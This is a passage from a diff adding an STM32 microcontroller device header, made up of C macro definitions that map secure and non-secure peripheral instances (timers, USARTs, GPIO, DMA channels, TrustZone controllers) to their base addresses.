((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define USART6_S ((USART_TypeDef *) USART6_BASE_S) +#define I2C5_S ((I2C_TypeDef *) I2C5_BASE_S) +#define I2C6_S ((I2C_TypeDef *) I2C6_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) +#define LTDC_S ((LTDC_TypeDef *) LTDC_BASE_S) +#define LTDC_Layer1_S ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_S) +#define LTDC_Layer2_S ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_S) +#define GFXTIM_S ((GFXTIM_TypeDef *) GFXTIM_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_SRAM5_S ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_S) +#define RAMCFG_SRAM6_S ((RAMCFG_TypeDef *) RAMCFG_SRAM6_BASE_S) +#define JPEG_S ((JPEG_TypeDef *) JPEG_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define DCACHE2_S ((DCACHE_TypeDef *) DCACHE2_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GTZC_MPCBB5_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_S) +#define GTZC_MPCBB6_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB6_BASE_S) +#define GFXMMU_S ((GFXMMU_TypeDef *) GFXMMU_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define GPIOJ_S ((GPIO_TypeDef *) GPIOJ_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_HS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) +#define HSPI1_S ((HSPI_TypeDef *) HSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define SRAM5_BASE SRAM5_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define SRAM6_BASE SRAM6_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define GPIOJ GPIOJ_S +#define GPIOJ_BASE GPIOJ_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_S +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define RAMCFG_SRAM6 RAMCFG_SRAM6_S +#define RAMCFG_SRAM6_BASE RAMCFG_SRAM6_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define DCACHE2 DCACHE2_S +#define DCACHE2_BASE DCACHE2_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define GTZC_MPCBB5 GTZC_MPCBB5_S +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_S + +#define GTZC_MPCBB6 GTZC_MPCBB6_S +#define GTZC_MPCBB6_BASE GTZC_MPCBB6_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I2C5 I2C5_S +#define I2C5_BASE I2C5_BASE_S + +#define I2C6 I2C6_S +#define I2C6_BASE I2C6_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define HSPI1 HSPI1_S +#define HSPI1_R_BASE HSPI1_R_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_HS USB_OTG_HS_S +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#define GFXMMU GFXMMU_S +#define GFXMMU_BASE GFXMMU_BASE_S +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE 